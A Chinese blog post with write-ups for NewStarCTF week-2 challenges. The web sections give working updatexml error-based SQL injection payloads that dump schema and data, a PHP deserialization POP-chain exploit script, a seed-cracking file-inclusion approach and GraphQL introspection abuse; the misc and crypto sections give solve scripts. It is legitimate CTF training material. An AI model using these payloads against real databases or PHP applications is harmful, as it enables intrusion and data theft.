NewStarCTF week2 部分题解

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、Word-For-You(2 Gen)

二、IncludeOne

三、UnserializeOne

四、ezAPI

五、 Yesec no drumsticks 2

六、Coldwinds's Desktop

七、qsdz's girlfriend 2

八、Affine(放射加密)

九、unusual_base

十、人类的本质

十一、EzRabin


前言

提示:这里可以添加本文要记录的大概内容:

NewStarCTF第二周和第一周的难度升降有点大,勉强能玩玩。


提示:以下是本篇文章正文内容,下面案例可供参考

一、Word-For-You(2 Gen)

这是上星期的Sql注入题,但是让我花了不少时间,因为我的浏览器竟然一直都是同一个页面不变化,尝过盲注好像也不行,最后更换了BP工具,才能看到是有回显的,可以使用报错注入。

updatexml报错注入原理:

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

第一个和第三个参数是XML的内容,可以随便写,第二个内容是XPATH路径,XPATH路径出错引起的报错,并且报错内容含有错误的路径内容。extractvalue原理也一样。

测试如下

name=1'  发现报错

name=1' or 1=1# 发现不报错,说明存在注入

name=1' or updatexml(1,concat(0x7e,database()),1)#   爆出数据库 wty

name=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#   

爆出表wfy_admin,wfy_comments,wfy_info
                   

name=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='wfy_comments')),1)#     
     
爆出字段id,text,user,name,display  

name=1' or updatexml(1,concat(0x7e,(select text from wfy_comments where id=(select max(id)-1 from wfy_comments))),1)# 

爆出flag

    
  

二、IncludeOne

题目:

 <?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!

这题是伪随机数的种子爆破,跟枯燥的抽奖那题类似,就是mt_rand()生成随机整数的时,会先进行种子的播种,当种子一样,接下来的数值根据次数也是可预测的,题目过滤了base,并且要有NewStar,可以使用rot进行文件包含。

7ea36b40cf8c442c9117260a391230c5.png

18f1fe0c9c32495e93179e99cf11e93c.png

 爆出了种子为1145146,接下来使用相同的种子进行两次mt_rand()即可得到相同的数值,得到1202031004。

7049f562ab34453e8173b0f06d819bf0.png

 得到后进行rot13解密即可。

s = "synt{sor00r4p-63rq-47q0-o8rr-610s58s76n4n}"

i = 13
result = ""
for c in s:
    oc = ord(c)
    if 65 <= oc <= 90:
        result += chr(((oc + i) - 65) % 26 + 65)
    elif 97 <= oc <= 122:
        result += chr(((oc + i) - 97) % 26 + 97)
    else:
        result += c
print(result)

三、UnserializeOne

题目:

 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

反序列化的魔术方法:

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__clone(),当对象复制完成时调用

 很明显解题要使函数进入_invoke方法,要进入invoke方法就需要用函数方式调用对象,isset方法刚好是这样,所以$func指向Sec类,要触发isset方法,要有不可访问属性,clone方法里面obj->cmd,没有cmd变量,$obj指向Start类,要触发clone方法,需要复制对象,明显在call中,要触发call方法,调用对象中不可访问的方法,toString中有check方法,所以sec->$obj指向Easy类,触发destruct方法即可触发toStrng方法。

完整的pop链: invoke->isset->clone->call->_toString->destruct

解题:

<?php


class Start
{
    public $name;
    protected $func;

    function __construct()
    {
        $this->func=new Sec();
    }

}

class Sec
{
    private $obj;
    public $var;

    function __construct()
    {
        $this->obj=new Easy();
    }
}

class Easy
{
    public $cla;
    function __construct()
    {
        $this->cla=new eeee();
    }
}


class eeee
{
    public $obj;

}

$start = new Start();
$eeee = new eeee();
$eeee->obj = $start;
$sec = new Sec();
$sec->var = $eeee;
$start->name=$sec;
echo urlencode(serialize($start));


结果使用url编码是因为存在保护变量,序列化会产生乱码。

四、ezAPI

a86c9cbf7bdf4b08bec798dcd64fb7fc.png

就给了一个id的查询,能够通过id查询出名字,开始以为是sql注入,发现id似乎只能是数字,增添其它东西不会显示Hacker,实在没有办法,爆破了下目录,发现有www.zip。

d7f24758ef78456c8022300d269e1ea0.png

www.zip中有PHP的源码:

<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
        return False;
    } else {
        return True;
    }
}

function send($data)
{
    $options = array(
        'http' => array(
            'method' => 'POST',
            'header' => 'Content-type: application/json',
            'content' => $data,
            'timeout' => 10 * 60
        )
    );
    $context = stream_context_create($options);
    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
    return $result;
}

if (isset($id)) {
    if (waf($id)) {
        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
        $res = json_decode(send($data));
        if ($res->data->users_user_by_pk->name !== NULL) {
            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
        } else {
            echo "<b>Can't found it!</b><br><br>DEBUG: ";
            var_dump($res->data);
        }
    } else {
        die("<b>Hacker! Only Number!</b>");
    }
} else {
    die("<b>No Data?</b>");
}
?>

源码中使用了waf,限制了id只能是0-9之间的数字,那不可能进行sql注入。但是似乎源码中显示还能通过post一个data参数,data参数默认一句query句拼接了id,然后传入给了content,变成了stream流,再从服务器中通过file_get_contents()获取内容,而且data参数的值是我们可以控制的。服务器中是graphql:8080,感觉graphql可能是一种框架,于是上百度搜索一下,会不会存在上面漏洞之类的?结果在CSDN某篇博客中看到graphql存在内省查询问题,于是试了一下,有了新发现。

 渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql 注入https://blog.csdn.net/wy_97/article/details/110522150

dee6481ba00e435baf45db2364595214.png

大致就是这个提供了一个接口,可以通过这个接口查询里面所有对象定义,接口信息,并且发现了flag的名称,那么应该可以修改data的查询语句,查询这个flag文件。

{"query":"query{\n users_user_by_pk(id:' . $id . ') {\n name \n}\n}\n", "variables":null},里面的users_user_ny_pk应该是文件,后面的name应该是type的类型吧,那里[name]=>flag,应该直接把name该成flag就好了把,随后解出了flag。

1dc15fdde9534e58a06d13492430e772.png

五、 Yesec no drumsticks 2

知识:零宽度隐写

零宽度字符是一些不可见,不可打印的字符,存在于页面中用于调整页面的格式

零宽度空格符 (zero-width space) U+200B : 用于较长单词的换行分隔
零宽度非断空格符 (zero-width no-break space) U+FEFF : 用于阻止特定位置的换行分隔
零宽度连字符 (zero-width joiner) U+200D : 用于阿拉伯文与印度语系等文字中,使不会发生连字的字符间产生连字效果
零宽度断字符 (zero-width non-joiner) U+200C : 用于阿拉伯文,德文,印度语系等文字中,阻止会发生连字的字符间的连字效果
左至右符 (left-to-right mark) U+200E : 用于在混合文字方向的多种语言文本中(例:混合左至右书写的英语与右至左书写的希伯来语),规定排版文字书写方向为左至右
右至左符 (right-to-left mark) U+200F : 用于在混合文字方向的多种语言文本中,规定排版文字书写方向为右至左 

5149e8b8de964fceae739f049d99d516.png

 

知识:base58

Base58 采用数字、大写字母、小写字母,去除歧义字符 0(零)、O(大写字母 O)、I(大写字母i)、l(小写字母L),总计58个字符作为编码的字母表。

 直接工具解,解的结果后使用base58解码后再用十六进制转换为字符串即可:Unicode Steganography with Zero-Width Charactershttps://330k.github.io/misc_tools/unicode_steganography.html

六、Coldwinds's Desktop

图片拼接,做的我有点小无语,主要是montage以及gaps的使用。

kali系统:

apt-get install graphicsmagick-imagemagick-compat

git clone https://github.com/nemanja-m/gaps.git 

vim requirements.txt 把里面的模块更改成自己的版本

montage *.png -tile 长x宽 -geometry +0+0 flag.png    +0+0表示无缝隙

python3 gap --image=路径  --size=小图片的宽高 --save 

总共144张图片,我自己做的分别用12x12 10x14 14x10都试试看看,才把图片的flag看全。

七、qsdz's girlfriend 2

猫脸变换:将各个像素点进行置换,使位置发生改变,使一张有意义的照片变成无意义。满足矩阵行列式值为1的变换,也就是说,图片必须是正方形的。通过矩阵逆置换即可变换为原图片。

广义猫脸变换的公式:ffdeb0150cb8451a85c3db1c93f10393.png

逆变换公式: dca0b5a82aca4a908e85cfc76abbb737.png

 脚本:

import numpy as np
import cv2


def arnold_decode(image, arnold_times):
    a = 0x6f6c64
    b = 0x726e
    # 1:创建新图像,全为0的三维数组
    decode_image = np.zeros(shape=image.shape)
    # 读取图片的长宽像素,这里是98x98,即总像素点
    height, width = image.shape[0], image.shape[1]
    N = height  # N是正方形的边长

    for time in range(arnold_times):  # 变换的次数
        # 遍历图片的像素点坐标
        for old_x in range(height):
            for old_y in range(width):
                # 根据猫脸公式矩阵即像素点的逆置换,得到原未经过猫脸变换的图片
                new_x = ((a * b + 1) * old_x + (-a) * old_y) % N  #原像素点的x坐标值
                new_y = ((-b) * old_x + old_y) % N              #原像素点y的坐标值
                decode_image[new_x, new_y, :] = image[old_x, old_y, :]
    cv2.imwrite('flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])  # 以PNG写入图片
    return decode_image


if __name__ == '__main__':
    # imread(path,flag)读取图片,加载彩色图片默认参数值是flag=1,灰度是0,透明度-1,结果是三维数组,前两维是像素坐标,最后一维是通道索引
    it = cv2.imread('girlfriend.png')
    arnold_decode(it, 1)

 

八、Affine(放射加密)

放射加密的加解密可以看我应用密码学的总结

解密脚本如下:

from Crypto.Util.number import *
output = b"\xb1\x83\x82T\x10\x80\xc9O\x84\xc9<\x0f\xf2\x82\x9a\xc9\x9b8'\x9b<\xdb\x9b\x9b\x82\xc8\xe0V"
ciphertext = list(output)
l = [3, 5, 7, 11, 13, 17, 19,
     23, 29, 31, 37, 41, 43, 47, 53,
     59, 61, 67, 71, 73, 79, 83, 89,
     97, 101, 103, 107, 109, 113, 127, 131,
     137, 139, 149, 151, 157, 163, 167, 173,
     179, 181, 191, 193, 197, 199, 211, 223,
     227, 229, 233, 239, 241, 251]
for a in l:
    for b in l:
        k1 = inverse(a, 256)
        k2 = k1 * b % 256
        text = []
        result = ''
        for f in ciphertext:
            z = chr((k1 * f - k2) % 256)
            text.append(z)
            if len(text) == 28:
                for b in text:
                    result += b
                print(result)

思路就是,通过爆破256内的a和b,然后通过a,b求出解密的k1,k2,解出flag,然后从所有答案中找出flag。

九、unusual_base

from Crypto.Util.number import *
from random import shuffle
from string import ascii_lowercase, ascii_uppercase, digits

alphabet = ascii_uppercase + ascii_lowercase + digits + '$&'
alphabet = list(alphabet)
bits = ''
pad_len = len(flag) % 3

for f in flag:
    bits += bin(ord(f))[2:].rjust(8, '0')  # 用0填充到8位
bits += '0000' * pad_len  # 加4个0位
encoded = ''
shuffle(alphabet)  # 将字母表元素随机排序
alphabet = "".join(alphabet)
print(bits)
for i in range(0, len(bits), 6):  # 6位为一次,一共38次
    encoded += alphabet[int(bits[i:i + 6], 2)]  # 取打乱字母表中的字符
encoded += '%' * pad_len
print(f'encoded = "{encoded}"')
print(f'alphabet = "{alphabet}"')

# encoded = "GjN3G$B3de58ym&7wQh9dgVNGQhfG2hndsGjlOyEdaxRFY%"
# alphabet = "c5PKAQmgI&qSdyDZYCbOV2seXGloLwtFW3f9n7j481UMHBp6vNETRJa$rxuz0hik"

解密脚本:

alphabet = "c5PKAQmgI&qSdyDZYCbOV2seXGloLwtFW3f9n7j481UMHBp6vNETRJa$rxuz0hik"
encoded = "GjN3G$B3de58ym&7wQh9dgVNGQhfG2hndsGjlOyEdaxRFY"
bits=''
result=''
for i in encoded:
    bits+=bin(alphabet.index(i))[2:].rjust(6,'0')
print(bits)
for i in range(0,len(bits),8):
    result+=chr(int(bits[i:i+8],2))
print(result)

十、人类的本质

from hashlib import sha256
from base64 import *
import random

cipher = []


def fun1(x):
    return sha256(x.encode()).hexdigest()


def fun2(x):
    return pow(114514, ord(x), 1919810)


def fun3(x):
    key = random.randint(0, 1145141919810)
    ans = x.encode()
    if key & 1:  # 位运算符 1&1=1,1&0=0,0&0=0
        ans = b32encode(ans)
    key >>= 1  # 二进制右移1位
    if key & 1:
        ans = b64encode(ans)
    key >>= 1
    if key & 1:
        ans = b16encode(ans)
    key >>= 1
    return ans


def encrypt(msg):
    res = []
    for i in msg:
        tmp = list(map(random.choice([fun1, fun2, fun3]), [i]))[0]  # 随机进入fun函数
        res.append(tmp)
    return res



print(encrypt(flag))


思路还是挺明确的,将flag的每一个字符,随机送入三个函数中,第一个函数是SHA256单向加密,直接遍历爆破就好,第二个函数也一样,第三个用了base32、base64、base16,它们的特征分别是base16字符为0123456789ABCDEF ,base32字符为ABCDEFGHIJKLMNOPQRSTUVWXYZ234567,base64字符为a-Z0-9+/   base64和base32可能会有=填充符,base16一定没有=号,然后我解base的时候自己一个个手解就好(注意base32和base64的顺序)可能会有不同的结果。

 

import string
from base64 import *
from hashlib import sha256

l = ['252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111', 1495846, 1452754, b'M4======',
     '021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96',
     '2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6',
     '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', b'Tg==',
     '1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9', b'52304539505430395054303D',
     'e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8', b'58773D3D',
     '3f39d5c348e5b79d06e842c114e6cc571583bbf44e4b0ebfda1a01ec05745d43',
     '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce',
     '2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6', b'T0k9PT09PT0=',
     '18f5384d58bcb1bba0bcd9e6a6781d1a6ac2cc280c330ecbab6cb7931b721552', b'T0E9PT09PT0=', 825026,
     'd2e2adf7177b7a8afddbc12d1634cf23ea1a71020f6a1308070a16400fb68fde', 1455816, b'4F553D3D3D3D3D3D', 1165366, 1242964,
     b'4F493D3D3D3D3D3D', 652094, 597296, '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce',
     '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', b'54314539505430395054303D', 1242964, 368664,
     b'TVU9PT09PT0=', b'cw==', 1602214]
a = string.ascii_letters + string.digits + '{}_ '

result = ''


def fun1(r):
    for h in a:
        if sha256(h.encode()).hexdigest() == r:
            return h


def fun2(r):
    for h in a:
        if pow(114514, ord(h), 1919810) == r:
            return h


for i in l:
    if len(str(i)) > 60:
        result += fun1(i)
    elif str(i).isdigit():
        result += fun2(i)
    else:
        result += '*'
print(result)

然后直接解base替换*就好。

十一、EzRabin

Rabin加密:Rabin加密可以看成了RSA的加密的一种,一般e=2,有特殊的素数p与q都是3mod4,主要是基于计算模合数平方根困难的算法,简单来说就是c=m^2modn,直接c的情况下,要计算出m是困难的。解密算法如下:

watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDYxNzkwMg==,size_16,color_FFFFFF,t_70#pic_center

如果p和q都是3mod4,mp和mq的解法为:

20201103212514243.png#pic_center  

 

from Crypto.Util.number import *
from somewhere_you_do_not_know import flag

# flag格式为 flag{XXXX}


def ezprime(n):
    p = getPrime(n)
    while p % 4 != 3:
        p = getPrime(n)
    return p


p = ezprime(512)
q = ezprime(512)
n = p * q
m = bytes_to_long(flag)
m = (m << 300) + getRandomNBitInteger(300)
assert m ** 2 > n > m
c = pow(m, 4, n)
print('c=', c)
print('p=', p)
print('q=', q)
'''
c= 59087040011818617875466940950576089096932769518087477304162753047334728508009365510335057824251636964132317478310267427589970177277870220660958570994888152191522928881774614096675980017700457666192609573774572571582962861504174396725705862549311100229145101667835438230371282904888448863223898642183925834109
p= 10522889477508921233145726452630168129218487981917965097647277937267556441871668611904567713868254050044587941828674788953975031679913879970887998582514571
q= 11287822338267163056031463255265099337492571870189068887689824393221951058498526362126606231275830844407608185240702408947800715624427717739233431252556379
就要花里胡哨(
'''

这里主要是e取了4,其实可以将m分两次求,就是变成(m^2)^2,先求出m^2的四个解,然后通过四个解再求一次解,就能从合适的m中取出正确的值。这里求出m^2其实也可以求根爆破,能开根为止,但是断言m这里限制了这种做法。

解法脚本:

from Crypto.Util.number import *
import gmpy2


def rsa_gong_N_def(e1, e2):
    e1, e2 = int(e1), int(e2)
    s = gmpy2.gcdext(e1, e2)  # 扩展欧几里得算法  t*e1+z*e2=1,求出t和z
    t = s[1]
    z = s[2]
    return t, z


def rabin_decrypt(c, p, q):
    n = p * q
    mp = pow(c, (p + 1) // 4, p)
    mq = pow(c, (q + 1) // 4, q)
    yp, yq = rsa_gong_N_def(p, q)
    r = (yp * p * mq + yq * q * mp) % n
    rr = n - r
    s = (yp * p * mq - yq * q * mp) % n
    ss = n - s
    return r, rr, s, ss


c = 59087040011818617875466940950576089096932769518087477304162753047334728508009365510335057824251636964132317478310267427589970177277870220660958570994888152191522928881774614096675980017700457666192609573774572571582962861504174396725705862549311100229145101667835438230371282904888448863223898642183925834109
p = 10522889477508921233145726452630168129218487981917965097647277937267556441871668611904567713868254050044587941828674788953975031679913879970887998582514571
q = 11287822338267163056031463255265099337492571870189068887689824393221951058498526362126606231275830844407608185240702408947800715624427717739233431252556379
m2 = rabin_decrypt(c, p, q)
# 将m的四次方分成(m^2)^2,解第一次有4个m^2的解,再对m^2求出四个解
for i in m2:
    j = rabin_decrypt(i, p, q)
    for m in j:
        print(long_to_bytes(m >> 300))

 

 

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值